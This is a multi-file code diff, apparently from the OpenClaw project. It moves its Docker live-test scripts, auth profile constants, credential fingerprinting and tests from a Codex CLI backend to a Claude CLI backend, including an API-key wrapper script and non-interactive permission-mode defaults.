||||
...claudeBackend,
|
||||
command: cliCommand,
|
||||
args: cliArgs,
|
||||
clearEnv: cliClearEnv.length > 0 ? cliClearEnv : undefined,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
OPENCLAW_DOCKER_LIVE_AUTH_ALL=(.minimax)
|
||||
OPENCLAW_DOCKER_LIVE_AUTH_ALL=(.claude .codex .minimax)
|
||||
OPENCLAW_DOCKER_LIVE_AUTH_FILES_ALL=(
|
||||
.codex/auth.json
|
||||
.codex/config.toml
|
||||
|
||||
@@ -13,7 +13,7 @@ ACP_AGENT="${OPENCLAW_LIVE_ACP_BIND_AGENT:-claude}"
|
||||
|
||||
case "$ACP_AGENT" in
|
||||
claude)
|
||||
AUTH_PROVIDER="anthropic"
|
||||
AUTH_PROVIDER="claude-cli"
|
||||
CLI_PACKAGE="@anthropic-ai/claude-code"
|
||||
CLI_BIN="claude"
|
||||
;;
|
||||
@@ -103,7 +103,6 @@ if ((${#auth_files[@]} > 0)); then
|
||||
for auth_file in "${auth_files[@]}"; do
|
||||
[ -n "$auth_file" ] || continue
|
||||
if [ -f "/host-auth-files/$auth_file" ]; then
|
||||
mkdir -p "$(dirname "$HOME/$auth_file")"
|
||||
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
|
||||
chmod u+rw "$HOME/$auth_file" || true
|
||||
fi
|
||||
|
||||
@@ -9,12 +9,16 @@ CONFIG_DIR="${OPENCLAW_CONFIG_DIR:-$HOME/.openclaw}"
|
||||
WORKSPACE_DIR="${OPENCLAW_WORKSPACE_DIR:-$HOME/.openclaw/workspace}"
|
||||
PROFILE_FILE="${OPENCLAW_PROFILE_FILE:-$HOME/.profile}"
|
||||
CLI_TOOLS_DIR="${OPENCLAW_DOCKER_CLI_TOOLS_DIR:-$HOME/.cache/openclaw/docker-cli-tools}"
|
||||
DEFAULT_MODEL="codex-cli/gpt-5.4"
|
||||
DEFAULT_MODEL="claude-cli/claude-sonnet-4-6"
|
||||
CLI_MODEL="${OPENCLAW_LIVE_CLI_BACKEND_MODEL:-$DEFAULT_MODEL}"
|
||||
CLI_PROVIDER="${CLI_MODEL%%/*}"
|
||||
CLI_DISABLE_MCP_CONFIG="${OPENCLAW_LIVE_CLI_BACKEND_DISABLE_MCP_CONFIG:-}"
|
||||
|
||||
if [[ -z "$CLI_PROVIDER" || "$CLI_PROVIDER" == "$CLI_MODEL" ]]; then
|
||||
CLI_PROVIDER="codex-cli"
|
||||
CLI_PROVIDER="claude-cli"
|
||||
fi
|
||||
if [[ "$CLI_PROVIDER" == "claude-cli" && -z "$CLI_DISABLE_MCP_CONFIG" ]]; then
|
||||
CLI_DISABLE_MCP_CONFIG="0"
|
||||
fi
|
||||
|
||||
mkdir -p "$CLI_TOOLS_DIR"
|
||||
@@ -92,20 +96,41 @@ if ((${#auth_files[@]} > 0)); then
|
||||
for auth_file in "${auth_files[@]}"; do
|
||||
[ -n "$auth_file" ] || continue
|
||||
if [ -f "/host-auth-files/$auth_file" ]; then
|
||||
mkdir -p "$(dirname "$HOME/$auth_file")"
|
||||
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
|
||||
chmod u+rw "$HOME/$auth_file" || true
|
||||
fi
|
||||
done
|
||||
fi
|
||||
provider="${OPENCLAW_DOCKER_CLI_BACKEND_PROVIDER:-codex-cli}"
|
||||
if [ "$provider" = "codex-cli" ]; then
|
||||
provider="${OPENCLAW_DOCKER_CLI_BACKEND_PROVIDER:-claude-cli}"
|
||||
if [ "$provider" = "claude-cli" ]; then
|
||||
if [ -z "${OPENCLAW_LIVE_CLI_BACKEND_COMMAND:-}" ]; then
|
||||
export OPENCLAW_LIVE_CLI_BACKEND_COMMAND="$HOME/.npm-global/bin/codex"
|
||||
export OPENCLAW_LIVE_CLI_BACKEND_COMMAND="$HOME/.npm-global/bin/claude"
|
||||
fi
|
||||
if [ ! -x "${OPENCLAW_LIVE_CLI_BACKEND_COMMAND}" ]; then
|
||||
npm_config_prefix="$HOME/.npm-global" npm install -g @openai/codex
|
||||
npm_config_prefix="$HOME/.npm-global" npm install -g @anthropic-ai/claude-code
|
||||
fi
|
||||
real_claude="$HOME/.npm-global/bin/claude-real"
|
||||
if [ ! -x "$real_claude" ] && [ -x "$HOME/.npm-global/bin/claude" ]; then
|
||||
mv "$HOME/.npm-global/bin/claude" "$real_claude"
|
||||
fi
|
||||
if [ -x "$real_claude" ]; then
|
||||
cat > "$HOME/.npm-global/bin/claude" <<WRAP
|
||||
#!/usr/bin/env bash
|
||||
script_dir="\$(CDPATH= cd -- "\$(dirname -- "\$0")" && pwd)"
|
||||
if [ -n "\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY:-}" ]; then
|
||||
export ANTHROPIC_API_KEY="\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY}"
|
||||
fi
|
||||
if [ -n "\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY_OLD:-}" ]; then
|
||||
export ANTHROPIC_API_KEY_OLD="\${OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY_OLD}"
|
||||
fi
|
||||
exec "\$script_dir/claude-real" "\$@"
|
||||
WRAP
|
||||
chmod +x "$HOME/.npm-global/bin/claude"
|
||||
fi
|
||||
if [ -z "${OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV:-}" ]; then
|
||||
export OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV='["ANTHROPIC_API_KEY","ANTHROPIC_API_KEY_OLD"]'
|
||||
fi
|
||||
claude auth status || true
|
||||
fi
|
||||
tmp_dir="$(mktemp -d)"
|
||||
cleanup() {
|
||||
@@ -141,7 +166,10 @@ echo "==> External auth files: ${AUTH_FILES_CSV:-none}"
|
||||
docker run --rm -t \
|
||||
-u node \
|
||||
--entrypoint bash \
|
||||
-e OPENAI_API_KEY \
|
||||
-e ANTHROPIC_API_KEY \
|
||||
-e ANTHROPIC_API_KEY_OLD \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY="${ANTHROPIC_API_KEY:-}" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_ANTHROPIC_API_KEY_OLD="${ANTHROPIC_API_KEY_OLD:-}" \
|
||||
-e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \
|
||||
-e HOME=/home/node \
|
||||
-e NODE_OPTIONS=--disable-warning=ExperimentalWarning \
|
||||
@@ -157,6 +185,7 @@ docker run --rm -t \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_ARGS="${OPENCLAW_LIVE_CLI_BACKEND_ARGS:-}" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV="${OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV:-}" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV="${OPENCLAW_LIVE_CLI_BACKEND_PRESERVE_ENV:-}" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_DISABLE_MCP_CONFIG="$CLI_DISABLE_MCP_CONFIG" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_RESUME_PROBE="${OPENCLAW_LIVE_CLI_BACKEND_RESUME_PROBE:-}" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_IMAGE_PROBE="${OPENCLAW_LIVE_CLI_BACKEND_IMAGE_PROBE:-}" \
|
||||
-e OPENCLAW_LIVE_CLI_BACKEND_IMAGE_ARG="${OPENCLAW_LIVE_CLI_BACKEND_IMAGE_ARG:-}" \
|
||||
|
||||
@@ -90,7 +90,6 @@ if ((${#auth_files[@]} > 0)); then
|
||||
for auth_file in "${auth_files[@]}"; do
|
||||
[ -n "$auth_file" ] || continue
|
||||
if [ -f "/host-auth-files/$auth_file" ]; then
|
||||
mkdir -p "$(dirname "$HOME/$auth_file")"
|
||||
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
|
||||
chmod u+rw "$HOME/$auth_file" || true
|
||||
fi
|
||||
|
||||
@@ -100,7 +100,6 @@ if ((${#auth_files[@]} > 0)); then
|
||||
for auth_file in "${auth_files[@]}"; do
|
||||
[ -n "$auth_file" ] || continue
|
||||
if [ -f "/host-auth-files/$auth_file" ]; then
|
||||
mkdir -p "$(dirname "$HOME/$auth_file")"
|
||||
cp "/host-auth-files/$auth_file" "$HOME/$auth_file"
|
||||
chmod u+rw "$HOME/$auth_file" || true
|
||||
fi
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export { CODEX_CLI_PROFILE_ID } from "./auth-profiles/constants.js";
|
||||
export { CLAUDE_CLI_PROFILE_ID, CODEX_CLI_PROFILE_ID } from "./auth-profiles/constants.js";
|
||||
export type {
|
||||
AuthCredentialReasonCode,
|
||||
TokenExpiryState,
|
||||
|
||||
@@ -4,6 +4,7 @@ export const AUTH_STORE_VERSION = 1;
|
||||
export const AUTH_PROFILE_FILENAME = "auth-profiles.json";
|
||||
export const LEGACY_AUTH_FILENAME = "auth.json";
|
||||
|
||||
export const CLAUDE_CLI_PROFILE_ID = "anthropic:claude-cli";
|
||||
export const CODEX_CLI_PROFILE_ID = "openai-codex:codex-cli";
|
||||
export const OPENAI_CODEX_DEFAULT_PROFILE_ID = "openai-codex:default";
|
||||
export const MINIMAX_CLI_PROFILE_ID = "minimax-portal:minimax-cli";
|
||||
|
||||
@@ -152,7 +152,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
|
||||
}
|
||||
|
||||
it("falls back to main agent credentials when secondary agent token is expired and refresh fails", async () => {
|
||||
const profileId = "anthropic:default";
|
||||
const profileId = "anthropic:claude-cli";
|
||||
const now = Date.now();
|
||||
const expiredTime = now - 60 * 60 * 1000; // 1 hour ago
|
||||
const freshTime = now + 60 * 60 * 1000; // 1 hour from now
|
||||
@@ -199,7 +199,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
|
||||
});
|
||||
|
||||
it("adopts newer OAuth token from main agent even when secondary token is still valid", async () => {
|
||||
const profileId = "anthropic:default";
|
||||
const profileId = "anthropic:claude-cli";
|
||||
const now = Date.now();
|
||||
const secondaryExpiry = now + 30 * 60 * 1000;
|
||||
const mainExpiry = now + 2 * 60 * 60 * 1000;
|
||||
@@ -238,7 +238,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
|
||||
});
|
||||
|
||||
it("adopts main token when secondary expires is NaN/malformed", async () => {
|
||||
const profileId = "anthropic:default";
|
||||
const profileId = "anthropic:claude-cli";
|
||||
const now = Date.now();
|
||||
const mainExpiry = now + 2 * 60 * 60 * 1000;
|
||||
|
||||
@@ -312,7 +312,7 @@ describe("resolveApiKeyForProfile fallback to main agent", () => {
|
||||
});
|
||||
|
||||
it("throws error when both secondary and main agent credentials are expired", async () => {
|
||||
const profileId = "anthropic:default";
|
||||
const profileId = "anthropic:claude-cli";
|
||||
const now = Date.now();
|
||||
const expiredTime = now - 60 * 60 * 1000; // 1 hour ago
|
||||
|
||||
|
||||
201
src/agents/claude-cli-runner.test.ts
Normal file
201
src/agents/claude-cli-runner.test.ts
Normal file
@@ -0,0 +1,201 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { setupClaudeCliRunnerTestModule, supervisorSpawnMock } from "./cli-runner.test-support.js";
|
||||
|
||||
function createDeferred<T>() {
|
||||
let resolve: (value: T) => void = () => {};
|
||||
let reject: (error: unknown) => void = () => {};
|
||||
const promise = new Promise<T>((res, rej) => {
|
||||
resolve = res;
|
||||
reject = rej;
|
||||
});
|
||||
return {
|
||||
promise,
|
||||
resolve: resolve as (value: T) => void,
|
||||
reject: reject as (error: unknown) => void,
|
||||
};
|
||||
}
|
||||
|
||||
function createManagedRun(
|
||||
exit: Promise<{
|
||||
reason: "exit" | "overall-timeout" | "no-output-timeout" | "signal" | "manual-cancel";
|
||||
exitCode: number | null;
|
||||
exitSignal: NodeJS.Signals | null;
|
||||
durationMs: number;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
timedOut: boolean;
|
||||
noOutputTimedOut: boolean;
|
||||
}>,
|
||||
) {
|
||||
return {
|
||||
runId: "run-test",
|
||||
pid: 12345,
|
||||
startedAtMs: Date.now(),
|
||||
wait: async () => await exit,
|
||||
cancel: vi.fn(),
|
||||
};
|
||||
}
|
||||
|
||||
let runClaudeCliAgent: typeof import("./claude-cli-runner.js").runClaudeCliAgent;
|
||||
|
||||
async function loadFreshClaudeCliRunnerModuleForTest() {
|
||||
runClaudeCliAgent = await setupClaudeCliRunnerTestModule();
|
||||
}
|
||||
|
||||
function successExit(payload: { message: string; session_id: string }) {
|
||||
return {
|
||||
reason: "exit" as const,
|
||||
exitCode: 0,
|
||||
exitSignal: null,
|
||||
durationMs: 1,
|
||||
stdout: JSON.stringify(payload),
|
||||
stderr: "",
|
||||
timedOut: false,
|
||||
noOutputTimedOut: false,
|
||||
};
|
||||
}
|
||||
|
||||
async function waitForCalls(mockFn: { mock: { calls: unknown[][] } }, count: number) {
|
||||
await vi.waitFor(
|
||||
() => {
|
||||
expect(mockFn.mock.calls.length).toBeGreaterThanOrEqual(count);
|
||||
},
|
||||
{ timeout: 2_000, interval: 5 },
|
||||
);
|
||||
}
|
||||
|
||||
describe("runClaudeCliAgent", () => {
|
||||
beforeEach(async () => {
|
||||
await loadFreshClaudeCliRunnerModuleForTest();
|
||||
supervisorSpawnMock.mockClear();
|
||||
});
|
||||
|
||||
it("starts a new session with --session-id when none is provided", async () => {
|
||||
supervisorSpawnMock.mockResolvedValueOnce(
|
||||
createManagedRun(Promise.resolve(successExit({ message: "ok", session_id: "sid-1" }))),
|
||||
);
|
||||
|
||||
await runClaudeCliAgent({
|
||||
sessionId: "openclaw-session",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
prompt: "hi",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-1",
|
||||
});
|
||||
|
||||
expect(supervisorSpawnMock).toHaveBeenCalledTimes(1);
|
||||
const spawnInput = supervisorSpawnMock.mock.calls[0]?.[0] as {
|
||||
argv: string[];
|
||||
input?: string;
|
||||
mode: string;
|
||||
};
|
||||
expect(spawnInput.mode).toBe("child");
|
||||
expect(spawnInput.argv).toContain("claude");
|
||||
expect(spawnInput.argv).toContain("--session-id");
|
||||
expect(spawnInput.input).toBe("hi");
|
||||
});
|
||||
|
||||
it("starts fresh when only a legacy claude session id is provided", async () => {
|
||||
supervisorSpawnMock.mockResolvedValueOnce(
|
||||
createManagedRun(Promise.resolve(successExit({ message: "ok", session_id: "sid-2" }))),
|
||||
);
|
||||
|
||||
await runClaudeCliAgent({
|
||||
sessionId: "openclaw-session",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
prompt: "hi",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-2",
|
||||
claudeSessionId: "c9d7b831-1c31-4d22-80b9-1e50ca207d4b",
|
||||
});
|
||||
|
||||
expect(supervisorSpawnMock).toHaveBeenCalledTimes(1);
|
||||
const spawnInput = supervisorSpawnMock.mock.calls[0]?.[0] as {
|
||||
argv: string[];
|
||||
input?: string;
|
||||
};
|
||||
expect(spawnInput.argv).not.toContain("--resume");
|
||||
expect(spawnInput.argv).not.toContain("c9d7b831-1c31-4d22-80b9-1e50ca207d4b");
|
||||
expect(spawnInput.argv).toContain("--session-id");
|
||||
expect(spawnInput.input).toBe("hi");
|
||||
});
|
||||
|
||||
it("serializes concurrent claude-cli runs in the same workspace", async () => {
|
||||
const firstDeferred = createDeferred<ReturnType<typeof successExit>>();
|
||||
const secondDeferred = createDeferred<ReturnType<typeof successExit>>();
|
||||
|
||||
supervisorSpawnMock
|
||||
.mockResolvedValueOnce(createManagedRun(firstDeferred.promise))
|
||||
.mockResolvedValueOnce(createManagedRun(secondDeferred.promise));
|
||||
|
||||
const firstRun = runClaudeCliAgent({
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
prompt: "first",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-1",
|
||||
});
|
||||
|
||||
const secondRun = runClaudeCliAgent({
|
||||
sessionId: "s2",
|
||||
sessionFile: "/tmp/session.jsonl",
|
||||
workspaceDir: "/tmp",
|
||||
prompt: "second",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-2",
|
||||
});
|
||||
|
||||
await waitForCalls(supervisorSpawnMock, 1);
|
||||
|
||||
firstDeferred.resolve(successExit({ message: "ok", session_id: "sid-1" }));
|
||||
|
||||
await waitForCalls(supervisorSpawnMock, 2);
|
||||
|
||||
secondDeferred.resolve(successExit({ message: "ok", session_id: "sid-2" }));
|
||||
|
||||
await Promise.all([firstRun, secondRun]);
|
||||
});
|
||||
|
||||
it("allows concurrent claude-cli runs across different workspaces", async () => {
|
||||
const firstDeferred = createDeferred<ReturnType<typeof successExit>>();
|
||||
const secondDeferred = createDeferred<ReturnType<typeof successExit>>();
|
||||
|
||||
supervisorSpawnMock
|
||||
.mockResolvedValueOnce(createManagedRun(firstDeferred.promise))
|
||||
.mockResolvedValueOnce(createManagedRun(secondDeferred.promise));
|
||||
|
||||
const firstRun = runClaudeCliAgent({
|
||||
sessionId: "s1",
|
||||
sessionFile: "/tmp/session-1.jsonl",
|
||||
workspaceDir: "/tmp/project-a",
|
||||
prompt: "first",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-a",
|
||||
});
|
||||
|
||||
const secondRun = runClaudeCliAgent({
|
||||
sessionId: "s2",
|
||||
sessionFile: "/tmp/session-2.jsonl",
|
||||
workspaceDir: "/tmp/project-b",
|
||||
prompt: "second",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-b",
|
||||
});
|
||||
|
||||
await waitForCalls(supervisorSpawnMock, 2);
|
||||
|
||||
firstDeferred.resolve(successExit({ message: "ok", session_id: "sid-a" }));
|
||||
secondDeferred.resolve(successExit({ message: "ok", session_id: "sid-b" }));
|
||||
|
||||
await Promise.all([firstRun, secondRun]);
|
||||
});
|
||||
});
|
||||
3
src/agents/claude-cli-runner.ts
Normal file
3
src/agents/claude-cli-runner.ts
Normal file
@@ -0,0 +1,3 @@
|
||||
// Backwards-compatible entry point.
|
||||
// Implementation lives in `src/agents/cli-runner.ts` (so we can reuse the same runner for other CLIs).
|
||||
export { runClaudeCliAgent, runCliAgent } from "./cli-runner.js";
|
||||
@@ -13,6 +13,7 @@ describe("resolveCliAuthEpoch", () => {
|
||||
|
||||
it("returns undefined when no local or auth-profile credentials exist", async () => {
|
||||
setCliAuthEpochTestDeps({
|
||||
readClaudeCliCredentialsCached: () => null,
|
||||
readCodexCliCredentialsCached: () => null,
|
||||
loadAuthProfileStoreForRuntime: () => ({
|
||||
version: 1,
|
||||
@@ -20,7 +21,7 @@ describe("resolveCliAuthEpoch", () => {
|
||||
}),
|
||||
});
|
||||
|
||||
await expect(resolveCliAuthEpoch({ provider: "codex-cli" })).resolves.toBeUndefined();
|
||||
await expect(resolveCliAuthEpoch({ provider: "claude-cli" })).resolves.toBeUndefined();
|
||||
await expect(
|
||||
resolveCliAuthEpoch({
|
||||
provider: "google-gemini-cli",
|
||||
@@ -29,22 +30,21 @@ describe("resolveCliAuthEpoch", () => {
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("changes when codex cli credentials change", async () => {
|
||||
it("changes when claude cli credentials change", async () => {
|
||||
let access = "access-a";
|
||||
setCliAuthEpochTestDeps({
|
||||
readCodexCliCredentialsCached: () => ({
|
||||
readClaudeCliCredentialsCached: () => ({
|
||||
type: "oauth",
|
||||
provider: "openai-codex",
|
||||
provider: "anthropic",
|
||||
access,
|
||||
refresh: "refresh",
|
||||
expires: 1,
|
||||
accountId: "acct-1",
|
||||
}),
|
||||
});
|
||||
|
||||
const first = await resolveCliAuthEpoch({ provider: "codex-cli" });
|
||||
const first = await resolveCliAuthEpoch({ provider: "claude-cli" });
|
||||
access = "access-b";
|
||||
const second = await resolveCliAuthEpoch({ provider: "codex-cli" });
|
||||
const second = await resolveCliAuthEpoch({ provider: "claude-cli" });
|
||||
|
||||
expect(first).toBeDefined();
|
||||
expect(second).toBeDefined();
|
||||
|
||||
@@ -1,14 +1,21 @@
|
||||
import crypto from "node:crypto";
|
||||
import { loadAuthProfileStoreForRuntime } from "./auth-profiles/store.js";
|
||||
import type { AuthProfileCredential, AuthProfileStore } from "./auth-profiles/types.js";
|
||||
import { readCodexCliCredentialsCached, type CodexCliCredential } from "./cli-credentials.js";
|
||||
import {
|
||||
readClaudeCliCredentialsCached,
|
||||
readCodexCliCredentialsCached,
|
||||
type ClaudeCliCredential,
|
||||
type CodexCliCredential,
|
||||
} from "./cli-credentials.js";
|
||||
|
||||
type CliAuthEpochDeps = {
|
||||
readClaudeCliCredentialsCached: typeof readClaudeCliCredentialsCached;
|
||||
readCodexCliCredentialsCached: typeof readCodexCliCredentialsCached;
|
||||
loadAuthProfileStoreForRuntime: typeof loadAuthProfileStoreForRuntime;
|
||||
};
|
||||
|
||||
const defaultCliAuthEpochDeps: CliAuthEpochDeps = {
|
||||
readClaudeCliCredentialsCached,
|
||||
readCodexCliCredentialsCached,
|
||||
loadAuthProfileStoreForRuntime,
|
||||
};
|
||||
@@ -31,6 +38,19 @@ function encodeUnknown(value: unknown): string {
|
||||
return JSON.stringify(value ?? null);
|
||||
}
|
||||
|
||||
function encodeClaudeCredential(credential: ClaudeCliCredential): string {
|
||||
if (credential.type === "oauth") {
|
||||
return JSON.stringify([
|
||||
"oauth",
|
||||
credential.provider,
|
||||
credential.access,
|
||||
credential.refresh,
|
||||
credential.expires,
|
||||
]);
|
||||
}
|
||||
return JSON.stringify(["token", credential.provider, credential.token, credential.expires]);
|
||||
}
|
||||
|
||||
function encodeCodexCredential(credential: CodexCliCredential): string {
|
||||
return JSON.stringify([
|
||||
credential.type,
|
||||
@@ -84,6 +104,13 @@ function encodeAuthProfileCredential(credential: AuthProfileCredential): string
|
||||
|
||||
function getLocalCliCredentialFingerprint(provider: string): string | undefined {
|
||||
switch (provider) {
|
||||
case "claude-cli": {
|
||||
const credential = cliAuthEpochDeps.readClaudeCliCredentialsCached({
|
||||
ttlMs: 5000,
|
||||
allowKeychainPrompt: false,
|
||||
});
|
||||
return credential ? hashCliAuthEpochPart(encodeClaudeCredential(credential)) : undefined;
|
||||
}
|
||||
case "codex-cli": {
|
||||
const credential = cliAuthEpochDeps.readCodexCliCredentialsCached({
|
||||
ttlMs: 5000,
|
||||
|
||||
@@ -3,7 +3,7 @@ import type { OpenClawConfig } from "../config/config.js";
|
||||
import type { CliBackendConfig } from "../config/types.js";
|
||||
import { createEmptyPluginRegistry } from "../plugins/registry.js";
|
||||
import { setActivePluginRegistry } from "../plugins/runtime.js";
|
||||
import { resolveCliBackendConfig } from "./cli-backends.js";
|
||||
import { normalizeClaudeBackendConfig, resolveCliBackendConfig } from "./cli-backends.js";
|
||||
|
||||
function createBackendEntry(params: {
|
||||
pluginId: string;
|
||||
@@ -27,6 +27,60 @@ function createBackendEntry(params: {
|
||||
beforeEach(() => {
|
||||
const registry = createEmptyPluginRegistry();
|
||||
registry.cliBackends = [
|
||||
createBackendEntry({
|
||||
pluginId: "anthropic",
|
||||
id: "claude-cli",
|
||||
config: {
|
||||
command: "claude",
|
||||
args: [
|
||||
"stream-json",
|
||||
"--include-partial-messages",
|
||||
"--verbose",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
],
|
||||
resumeArgs: [
|
||||
"stream-json",
|
||||
"--include-partial-messages",
|
||||
"--verbose",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
],
|
||||
output: "jsonl",
|
||||
input: "stdin",
|
||||
env: {
|
||||
CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1",
|
||||
},
|
||||
clearEnv: [
|
||||
"ANTHROPIC_API_KEY",
|
||||
"ANTHROPIC_API_KEY_OLD",
|
||||
"ANTHROPIC_AUTH_TOKEN",
|
||||
"ANTHROPIC_BASE_URL",
|
||||
"ANTHROPIC_UNIX_SOCKET",
|
||||
"CLAUDE_CONFIG_DIR",
|
||||
"CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR",
|
||||
"CLAUDE_CODE_ENTRYPOINT",
|
||||
"CLAUDE_CODE_OAUTH_REFRESH_TOKEN",
|
||||
"CLAUDE_CODE_OAUTH_SCOPES",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR",
|
||||
"CLAUDE_CODE_PLUGIN_CACHE_DIR",
|
||||
"CLAUDE_CODE_PLUGIN_SEED_DIR",
|
||||
"CLAUDE_CODE_REMOTE",
|
||||
"CLAUDE_CODE_USE_COWORK_PLUGINS",
|
||||
"CLAUDE_CODE_USE_BEDROCK",
|
||||
"CLAUDE_CODE_USE_FOUNDRY",
|
||||
"CLAUDE_CODE_USE_VERTEX",
|
||||
],
|
||||
},
|
||||
normalizeConfig: normalizeClaudeBackendConfig,
|
||||
}),
|
||||
createBackendEntry({
|
||||
pluginId: "openai",
|
||||
id: "codex-cli",
|
||||
@@ -143,6 +197,380 @@ describe("resolveCliBackendConfig reliability merge", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("resolveCliBackendConfig claude-cli defaults", () => {
|
||||
it("uses non-interactive permission-mode defaults for fresh and resume args", () => {
|
||||
const resolved = resolveCliBackendConfig("claude-cli");
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.output).toBe("jsonl");
|
||||
expect(resolved?.config.args).toContain("stream-json");
|
||||
expect(resolved?.config.args).toContain("--include-partial-messages");
|
||||
expect(resolved?.config.args).toContain("--verbose");
|
||||
expect(resolved?.config.args).toContain("--setting-sources");
|
||||
expect(resolved?.config.args).toContain("user");
|
||||
expect(resolved?.config.args).toContain("--permission-mode");
|
||||
expect(resolved?.config.args).toContain("bypassPermissions");
|
||||
expect(resolved?.config.args).not.toContain("--dangerously-skip-permissions");
|
||||
expect(resolved?.config.input).toBe("stdin");
|
||||
expect(resolved?.config.resumeArgs).toContain("stream-json");
|
||||
expect(resolved?.config.resumeArgs).toContain("--include-partial-messages");
|
||||
expect(resolved?.config.resumeArgs).toContain("--verbose");
|
||||
expect(resolved?.config.resumeArgs).toContain("--setting-sources");
|
||||
expect(resolved?.config.resumeArgs).toContain("user");
|
||||
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
|
||||
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
|
||||
expect(resolved?.config.resumeArgs).not.toContain("--dangerously-skip-permissions");
|
||||
});
|
||||
|
||||
it("retains default claude safety args when only command is overridden", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "/usr/local/bin/claude",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.command).toBe("/usr/local/bin/claude");
|
||||
expect(resolved?.config.args).toContain("--setting-sources");
|
||||
expect(resolved?.config.args).toContain("user");
|
||||
expect(resolved?.config.args).toContain("--permission-mode");
|
||||
expect(resolved?.config.args).toContain("bypassPermissions");
|
||||
expect(resolved?.config.resumeArgs).toContain("--setting-sources");
|
||||
expect(resolved?.config.resumeArgs).toContain("user");
|
||||
expect(resolved?.config.resumeArgs).toContain("--permission-mode");
|
||||
expect(resolved?.config.resumeArgs).toContain("bypassPermissions");
|
||||
expect(resolved?.config.env).toEqual({ CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1" });
|
||||
expect(resolved?.config.clearEnv).toContain("ANTHROPIC_BASE_URL");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CONFIG_DIR");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_OAUTH_TOKEN");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_CACHE_DIR");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_SEED_DIR");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_REMOTE");
|
||||
expect(resolved?.config.clearEnv).toContain("CLAUDE_CODE_USE_COWORK_PLUGINS");
|
||||
});
|
||||
|
||||
it("normalizes legacy skip-permissions overrides to permission-mode bypassPermissions", () => {
|
||||
const cfg = {
|
||||
agents: {
|
||||
defaults: {
|
||||
cliBackends: {
|
||||
"claude-cli": {
|
||||
command: "claude",
|
||||
args: ["-p", "--dangerously-skip-permissions", "--output-format", "json"],
|
||||
resumeArgs: [
|
||||
"-p",
|
||||
"--dangerously-skip-permissions",
|
||||
"--output-format",
|
||||
"json",
|
||||
"--resume",
|
||||
"{sessionId}",
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
} satisfies OpenClawConfig;
|
||||
|
||||
const resolved = resolveCliBackendConfig("claude-cli", cfg);
|
||||
|
||||
expect(resolved).not.toBeNull();
|
||||
expect(resolved?.config.args).not.toContain("--dangerously-skip-permissions");
|
||||
expect(resolved?.config.args).toContain("--permission-mode");
|
||||
expect(resolved?.config.args).toContain("bypassPermissions");
|
||||
